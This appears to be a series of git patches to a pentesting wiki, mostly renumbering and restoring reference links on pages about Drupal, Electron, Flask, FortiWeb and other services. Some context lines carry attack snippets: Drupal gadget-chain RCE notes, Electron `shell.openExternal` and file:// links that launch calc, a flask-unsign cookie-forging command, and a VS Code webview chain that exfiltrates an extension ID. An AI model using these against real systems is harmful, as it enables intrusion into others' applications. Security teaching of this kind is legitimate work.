-Two advisories published **20 Nov 2024** (CVE-2024-55637 & CVE-2024-55638) describe new **PHP object gadget chains in Drupal core** (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are **not directly exploitable** but give attackers a ready-made chain once any contrib/module performs `unserialize()` on user input.<sup>[[1]](#references)</sup>
+Two advisories published **20 Nov 2024** (CVE-2024-55637 & CVE-2024-55638) describe new **PHP object gadget chains in Drupal core** (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are **not directly exploitable** but give attackers a ready-made chain once any contrib/module performs `unserialize()` on user input.<sup>[[2]](#references)[[3]](#references)</sup>
 
 Practical exploitation workflow:
 
@@ -271,8 +271,8 @@ Notes for testing:
 
 Several contrib modules fixed insecure `unserialize()` paths in late 2024. If the site is missing these updates, they give you the exploitable sink required by the core gadget chain:
 
-- **Mailjet** (<4.0.1, CVE-2024-13296): admin-controlled data passed to `unserialize()`, enabling **PHP Object Injection → RCE** when chained with the core gadgets.<sup>[[2]](#references)</sup>
-- **Eloqua** (7.x-1.x < 1.15, CVE-2024-13297): similar unsafe `unserialize()` usage reachable by users with `access administration pages`.
+- **Mailjet** (<4.0.1, CVE-2024-13296): admin-controlled data passed to `unserialize()`, enabling **PHP Object Injection → RCE** when chained with the core gadgets.<sup>[[4]](#references)</sup>
+- **Eloqua** (7.x-1.x < 1.15, CVE-2024-13297): similar unsafe `unserialize()` usage reachable by users with `access administration pages`.<sup>[[5]](#references)</sup>
 
 Testing idea (authenticated):
 
@@ -286,7 +286,10 @@ If the module deserializes the uploaded data, the gadget chain yields RCE. Combi
 
 ## References
 
-- [1] [Drupal core – gadget chain – SA-CORE-2024-008](https://www.drupal.org/sa-core-2024-008)
-- [2] [Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062](https://www.drupal.org/sa-contrib-2024-062)
+- [1] [B19: How to backdoor Drupal (new versions) like a bro](https://therealcoiffeur.com/b19.html)
+- [2] [Drupal core – gadget chain – SA-CORE-2024-007](https://www.drupal.org/sa-core-2024-007)
+- [3] [Drupal core – gadget chain – SA-CORE-2024-008](https://www.drupal.org/sa-core-2024-008)
+- [4] [Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062](https://www.drupal.org/sa-contrib-2024-062)
+- [5] [Eloqua module – arbitrary PHP code execution – SA-CONTRIB-2024-063](https://www.drupal.org/sa-contrib-2024-063)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index 33655ac20b3..2d44bcc9c1b 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -79,7 +79,7 @@ const mainWindowOptions = {
 }
 ```
 
-Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt):<sup>[[19]](#references)</sup>
+Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt):<sup>[[17]](#references)</sup>
 
 ```html
 Example Payloads (Windows):
@@ -207,7 +207,7 @@ window.addEventListener('click', (e) => {
 
 ## RCE via shell.openExternal
 
-For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)<sup>[[20]](#references)[[21]](#references)</sup>
+For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)<sup>[[18]](#references)[[19]](#references)</sup>
 
 When deploying an Electron desktop application, ensuring the correct settings for `nodeIntegration` and `contextIsolation` is crucial. It's established that **client-side remote code execution (RCE)** targeting preload scripts or Electron's native code from the main process is effectively prevented with these settings in place.
 
@@ -226,7 +226,7 @@ These listeners are **overridden by the desktop application** to implement its o
 
 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
 
-Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.<sup>[[22]](#references)</sup>
+Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.<sup>[[20]](#references)</sup>
 
 In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
 
@@ -254,7 +254,7 @@ In macos, the `openExternal` function can be exploited to execute arbitrary comm
 
 ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
 
-This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.<sup>[[23]](#references)</sup>
+This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.<sup>[[21]](#references)</sup>
 
 The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
 
@@ -304,7 +304,7 @@ Further, another method for **reading an internal file** is shared, highlighting
 ## **RCE: XSS + Old Chromium**
 
 If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\
-You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)<sup>[[24]](#references)</sup>
+You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)<sup>[[22]](#references)</sup>
 
 ## **XSS Phishing via Internal URL regex bypass**
 
@@ -362,7 +362,7 @@ Then, the renderer process can import objects from the module it like:
 import { dialog, getCurrentWindow } from '@electron/remote'
 ```
 
-The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indicates some interesting **functions** exposed by the object **`app`** from the remote module:<sup>[[18]](#references)</sup>
+The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indicates some interesting **functions** exposed by the object **`app`** from the remote module:<sup>[[16]](#references)</sup>
 
 - **`app.relaunch([options])`**  
    - **Restarts** the application by **exiting** the current instance and **launching** a new one. Useful for **app updates** or significant **state changes**.
@@ -427,7 +427,7 @@ console.log('Recent Places:', recentPlaces);
 
 This function whows the given file in a file manager, which **could automatically execute the file**.
 
-For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)<sup>[[18]](#references)</sup>
+For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)<sup>[[16]](#references)</sup>
 
 ## Content Security Policy
 
@@ -445,7 +445,7 @@ pentesting-web/content-security-policy-csp-bypass/
 
 ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
 
-This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt<sup>[[25]](#references)</sup>
+This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt<sup>[[23]](#references)</sup>
 
 Attack chain overview
 - First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
@@ -510,7 +510,7 @@ Practical implications:
 
 ## Labs
 
-In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.<sup>[[15]](#references)</sup>
+In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.<sup>[[14]](#references)</sup>
 
 Some commands that will help you will the lab:
 
@@ -658,17 +658,15 @@ Detection and mitigations
 - [11] [Phishing and credential harvesting in Electron applications](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
 - [12] [Facebook Messenger Desktop App Arbitrary File Read](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
 - [13] [Electron: Abusing the lack of context isolation - CureCon (en)](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
-- [14] [APPSEC Cali 2018 - MarkDoom: How I Hacked Every Major IDE in 2 Weeks](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
-- [15] [Hacking Modern Desktop apps with XSS and RCE Workshop](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
-- [16] [awesome-electronjs-hacking - a curated list of resources about Electron.js (in)security](https://github.com/doyensec/awesome-electronjs-hacking)
-- [17] [ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
-- [18] [Electron APIs Misuse: An Attacker's First Choice](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
-- [19] [Electron nodeIntegration RCE payloads](https://7as.es/electron/nodeIntegration_rce.txt)
-- [20] [1-click RCE in Electron Applications](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)
-- [21] [The dangers of Electron's shell.openExternal() - many paths to remote code execution](https://benjamin-altpeter.de/shell-openexternal-dangers/)
-- [22] [Allow arbitrary URLs, expect arbitrary code execution](https://positive.security/blog/url-open-rce#windows-10-19042)
-- [23] [Achieving RCE in famous Japanese chat tool with an obsolete Electron feature](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)
-- [24] [Discord Desktop - Remote Code Execution](https://blog.electrovolt.io/posts/discord-rce/)
-- [25] [Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)](https://blog.electrovolt.io/posts/vscode-rce/)
+- [14] [Hacking Modern Desktop apps with XSS and RCE Workshop](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
+- [15] [awesome-electronjs-hacking - a curated list of resources about Electron.js (in)security](https://github.com/doyensec/awesome-electronjs-hacking)
+- [16] [Electron APIs Misuse: An Attacker's First Choice](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
+- [17] [Electron nodeIntegration RCE payloads](https://7as.es/electron/nodeIntegration_rce.txt)
+- [18] [1-click RCE in Electron Applications](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)
+- [19] [The dangers of Electron's shell.openExternal() - many paths to remote code execution](https://benjamin-altpeter.de/shell-openexternal-dangers/)
+- [20] [Allow arbitrary URLs, expect arbitrary code execution](https://positive.security/blog/url-open-rce#windows-10-19042)
+- [21] [Achieving RCE in famous Japanese chat tool with an obsolete Electron feature](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)
+- [22] [Discord Desktop - Remote Code Execution](https://blog.electrovolt.io/posts/discord-rce/)
+- [23] [Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)](https://blog.electrovolt.io/posts/vscode-rce/)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
index e14ea526bc1..374c9c50c13 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
@@ -17,7 +17,6 @@ process.on("exit", function () {
 })
 ```
 
-
 {{#ref}}
 https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
 {{#endref}}
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
index aea16e03330..90d6d5ff8d5 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
@@ -104,6 +104,7 @@ window.electronSend = (event, data) => {
 }
 ```
 
+
 ## References
 
 - [1] [Hacking Modern Desktop apps with XSS and RCE Workshop](https://www.youtube.com/watch?v=xILfQGkLXQo)
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
index 006764f33d1..f8350c64dd1 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
@@ -33,7 +33,7 @@ As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker ca
 <a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
 ```
 
-Check the original slides for other ways to execute programs without having a prompt asking for permissions.
+Check the original slides for other ways to execute programs without having a prompt asking for permissions.<sup>[[1]](#references)</sup>
 
 Apparently another way to load and execute code is to access something like `file://127.0.0.1/electron/rce.jar`
 
diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md
index fe3e66900d8..bb4d8ef33a1 100644
--- a/src/network-services-pentesting/pentesting-web/flask.md
+++ b/src/network-services-pentesting/pentesting-web/flask.md
@@ -26,7 +26,6 @@ The cookie is also signed using a password
 
 Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
 
-
 {{#ref}}
 https://pypi.org/project/flask-unsign/
 {{#endref}}
@@ -63,7 +62,6 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
 
 Command line tool to brute-force websites using cookies crafted with flask-unsign.
 
-
 {{#ref}}
 https://github.com/Tagvi/ripsession
 {{#endref}}
diff --git a/src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md b/src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md
index 1bd4dc7aad4..b2ecb1780bb 100644
--- a/src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md
+++ b/src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md
@@ -166,7 +166,7 @@ time curl -sk \
 
 ## Mitigation
 
-- Upgrade CVE-2025-64446-exposed builds to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
+- Upgrade CVE-2025-64446-exposed builds to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.<sup>[[1]](#references)</sup>
 - Patch the related management-plane bugs as well:
   - SQLi (CVE-2025-25257): 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11
   - FortiCloud SSO signature bypass (CVE-2025-59719): 8.0.1 / 7.6.5 / 7.4.10
diff --git a/src/network-services-pentesting/pentesting-web/git.md b/src/network-services-pentesting/pentesting-web/git.md
index da283fbf4f9..c1aa1ae5ef2 100644
--- a/src/network-services-pentesting/pentesting-web/git.md
+++ b/src/network-services-pentesting/pentesting-web/git.md
@@ -133,11 +133,11 @@ Extra pivot points:<sup>[[3]](#references)</sup>
 
 ## References
 
-- [holly-hacker/git-dumper – parallel fast /.git dumper](https://github.com/holly-hacker/git-dumper)
-- [Ebryx/GitDump](https://github.com/Ebryx/GitDump)
-- [The gift that keeps giving: Exploiting Git Integrations in Cloud Services](https://nopnop.pro/2026/06/17/exploiting-git-integrations-in-cloud-services/)
-- [Argument Injection Vectors (SonarSource)](https://sonarsource.github.io/argument-injection-vectors/)
-- [Git buried bare repos and fsmonitor abuses (justinsteven)](https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md)
-- [LookOut: RCE and internal access on Looker (Tenable)](https://www.tenable.com/blog/google-looker-vulnerabilities-rce-internal-access-lookout)
+- [1] [holly-hacker/git-dumper – parallel fast /.git dumper](https://github.com/holly-hacker/git-dumper)
+- [2] [Ebryx/GitDump](https://github.com/Ebryx/GitDump)
+- [3] [The gift that keeps giving: Exploiting Git Integrations in Cloud Services](https://nopnop.pro/2026/06/17/exploiting-git-integrations-in-cloud-services/)
+- [4] [Argument Injection Vectors (SonarSource)](https://sonarsource.github.io/argument-injection-vectors/)
+- [5] [Git buried bare repos and fsmonitor abuses (justinsteven)](https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md)
+- [6] [LookOut: RCE and internal access on Looker (Tenable)](https://www.tenable.com/blog/google-looker-vulnerabilities-rce-internal-access-lookout)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 055085c0283..4eeceb38b98 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -478,7 +478,6 @@ Nested input objects inherit the same mapping, so you immediately get a syntacti
 
 If you don't know what CSRF is read the following page:
 
-
 {{#ref}}
 ../../pentesting-web/csrf-cross-site-request-forgery.md
 {{#endref}}
@@ -532,7 +531,6 @@ Similar to CRSF vulnerabilities abusing graphQL it's also possible to perform a
 
 For more information check:
 
-
 {{#ref}}
 ../../pentesting-web/websocket-attacks.md
 {{#endref}}
@@ -767,7 +765,6 @@ const protectedSchema = applyMiddleware(schema, ...protect());
 
 ---
 
-
 ## Tools
 
 ### Vulnerability scanners
@@ -794,7 +791,6 @@ const protectedSchema = applyMiddleware(schema, ...protect());
 
 ### Automatic Tests
 
-
 {{#ref}}
 https://graphql-dashboard.herokuapp.com/
 {{#endref}}

From 866b2a9679511face77b657b3ebd61459ef7624c Mon Sep 17 00:00:00 2001
From: Carlos Polop <carlospolop@gmail.com>
Date: Thu, 6 Aug 2026 12:37:44 +0200
Subject: [PATCH 3/7] Fix reference remap for PR 2571 merge: all five new
 sources renumbered to [24]-[28]

---
 .../pentesting-web/electron-desktop-apps/README.md         | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index 98b24ffdcb9..f37af60d4cb 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -493,7 +493,7 @@ This is especially useful when **synthetic typing is blocked** by the browser. S
 
 - **Shortcut-oriented UI abuse:** target global bindings such as notification acceptance, palette navigation, focused-button activation, or menu movement instead of trying to type commands.
 - **Predictable privileged prompts from workspace metadata:** a repository-controlled `.vscode/extensions.json` can recommend an attacker extension and create a predictable install notification that can be accepted with a shortcut such as `Ctrl+Shift+A`.
-- **Declarative extension manifest as command bridge:** even if local workspace extension code is blocked by CSP in web VS Code, declarative `package.json` contributions may still load. A local extension under `.vscode/extensions` can register a keybinding that calls `runCommands` and then a privileged internal command such as `workbench.extensions.installExtension`.<sup>[[24]](#references)[[30]](#references)</sup>
+- **Declarative extension manifest as command bridge:** even if local workspace extension code is blocked by CSP in web VS Code, declarative `package.json` contributions may still load. A local extension under `.vscode/extensions` can register a keybinding that calls `runCommands` and then a privileged internal command such as `workbench.extensions.installExtension`.<sup>[[24]](#references)[[28]](#references)</sup>
 
 Example manifest pattern:
 
@@ -520,7 +520,7 @@ Example manifest pattern:
 - Treat **webview-to-host input forwarding** as a privilege boundary; never re-dispatch synthetic key/click events from untrusted frames into the host.
 - Enforce authorization **inside** sensitive commands. Do not accept caller-provided command context that can set internal flags such as `skipPublisherTrust`.
 - Do not assume blocking executable local extension code is enough; also review **declarative contributions** (`keybindings`, `menus`, `commands`, tasks) from workspace-controlled manifests.
-- The June 3, 2026 fixes added `isTrusted` to forwarded events, disabled untrusted key forwarding in notebook webviews, and stopped accepting caller-supplied install-command context.<sup>[[28]](#references)[[29]](#references)</sup>
+- The June 3, 2026 fixes added `isTrusted` to forwarded events, disabled untrusted key forwarding in notebook webviews, and stopped accepting caller-supplied install-command context.<sup>[[26]](#references)[[27]](#references)</sup>
 
 ## Post-exploitation: ASAR/main-process implants
 
@@ -725,5 +725,8 @@ Detection and mitigations
 - [23] [Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)](https://blog.electrovolt.io/posts/vscode-rce/)
 - [24] [One-Click GitHub Token Theft via VS Code Webview Keyboard Event Injection](https://blog.ammaraskar.com/github-token-stealing)
 - [25] [VS Code issue #319593: Webviews can trigger arbitrary keyboard shortcuts in the main workbench](https://github.com/microsoft/vscode/issues/319593)
+- [26] [VS Code PR #319705: confirm notebook opening and stop accepting caller-provided installExtension context](https://github.com/microsoft/vscode/pull/319705)
+- [27] [VS Code PR #319813: block programmatic webview keypress/click re-dispatch in notebook webviews](https://github.com/microsoft/vscode/pull/319813)
+- [28] [VS Code 1.89 / local workspace extensions](https://code.visualstudio.com/updates/v1_89#_local-workspace-extensions)
 
 {{#include ../../../banners/hacktricks-training.md}}

From 5039b135645daaf98385a913aabb75f222e0209b Mon Sep 17 00:00:00 2001
From: Carlos Polop <carlospolop@gmail.com>
Date: Thu, 6 Aug 2026 12:52:53 +0200
Subject: [PATCH 4/7] References: restore 21 source entries dropped by the
 audit pass (9 files)

---
 src/network-services-pentesting/pentesting-sap.md      |  1 +
 .../pentesting-smb/README.md                           |  1 +
 .../pentesting-smtp/README.md                          |  1 +
 src/network-services-pentesting/pentesting-ssh.md      |  2 ++
 src/network-services-pentesting/pentesting-telnet.md   |  1 +
 .../pentesting-voip/README.md                          |  1 +
 .../pentesting-web/angular.md                          |  2 ++
 .../pentesting-web/code-review-tools.md                | 10 ++++++++++
 .../pentesting-web/electron-desktop-apps/README.md     |  2 ++
 9 files changed, 21 insertions(+)

diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md
index ae6359d6531..cbfcc2ddae5 100644
--- a/src/network-services-pentesting/pentesting-sap.md
+++ b/src/network-services-pentesting/pentesting-sap.md
@@ -402,5 +402,6 @@ bizploit> start
 - [9] [mySapAdventures - a methodology on testing/hacking SAP applications](https://github.com/shipcod3/mySapAdventures)
 - [10] [SAP Remote Function Call \(RFC\) Vulnerabilities in 2023](https://onapsis.com/blog/sap-remote-function-call-vulnerabilities-in-2023/)
 - [11] [The Risks of SAP RFC Callbacks and How to Avoid Them](https://onapsis.com/blog/risks-sap-rfc-callbacks-and-how-avoid-them/)
+- [12] [SAP password storage internals (SecStore / UME)](https://www.exploit-db.com/docs/43859)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 2f2c94923e6..fb50b11d7d9 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -781,5 +781,6 @@ Entry_6:
 - [5] [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
 - [6] [ShareHound (collector)](https://github.com/p0dalirius/sharehound)
 - [7] [ShareQL (DSL)](https://github.com/p0dalirius/shareql)
+- [8] [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index 0a758740236..65ac0db34b3 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -776,6 +776,7 @@ Entry_8:
 - [4] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html)
 - [5] [The Silent Inbox: How Verified Emails Slip Past Email Security Gateways](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/)
 - [6] [Internal Information Disclosure using Hidden NTLM Authentication](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)
+- [7] [What could a hacker do with a misconfigured SMTP server?](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md
index 756d10c532b..5710575e661 100644
--- a/src/network-services-pentesting/pentesting-ssh.md
+++ b/src/network-services-pentesting/pentesting-ssh.md
@@ -443,5 +443,7 @@ Entry_2:
 - [3] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
 - [4] [Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server](https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server)
 - [5] [Snyk – The XZ backdoor (CVE-2024-3094)](https://snyk.io/blog/the-xz-backdoor-cve-2024-3094/)
+- [6] [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
+- [7] [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index 039af371c92..ebf6a9855cc 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -185,6 +185,7 @@ After a shell is obtained remember that **TTYs are usually dumb**; upgrade with
 - [5] [NVD – CVE-2022-39028 inetutils `telnetd` DoS](https://nvd.nist.gov/vuln/detail/CVE-2022-39028)
 - [6] [NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-45698)
 - [7] [NVD – CVE-2023-40478 NETGEAR RAX30 Telnet Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-40478)
+- [8] [Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)](https://www.cyber.gc.ca/en/alerts-advisories/alert-AL26-002)
 
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md
index a0bb5b52a70..ae3e28346b4 100644
--- a/src/network-services-pentesting/pentesting-voip/README.md
+++ b/src/network-services-pentesting/pentesting-voip/README.md
@@ -694,6 +694,7 @@ The easiest way to install a software such as Asterisk is to download an **OS di
 - [3] [Pepelux's blog](http://blog.pepelux.org/)
 - [4] [RTP Bleed](https://www.rtpbleed.com/)
 - [5] [SIP Digest Leak vulnerability](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
+- [6] [Practical VoIP Penetration Testing](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index 3ff9f8f9cbc..7aee05e2661 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -611,5 +611,7 @@ According to the W3C documentation, the `window.location` and `document.location
 - [19] [Angular Document](https://angular.io/api/common/DOCUMENT)
 - [20] [Angular Location](https://angular.io/api/common/Location)
 - [21] [Angular Router](https://angular.io/api/router/Router)
+- [22] [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
+- [23] [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md
index e6aee62352f..506008698d5 100644
--- a/src/network-services-pentesting/pentesting-web/code-review-tools.md
+++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md
@@ -554,5 +554,15 @@ https://github.com/securego/gosec
 - [4] [Visa Vulnerability Agentic Harness](https://github.com/visa/visa-vulnerability-agentic-harness)
 - [5] [VVAH Architecture](https://github.com/visa/visa-vulnerability-agentic-harness/blob/main/docs/architecture.md)
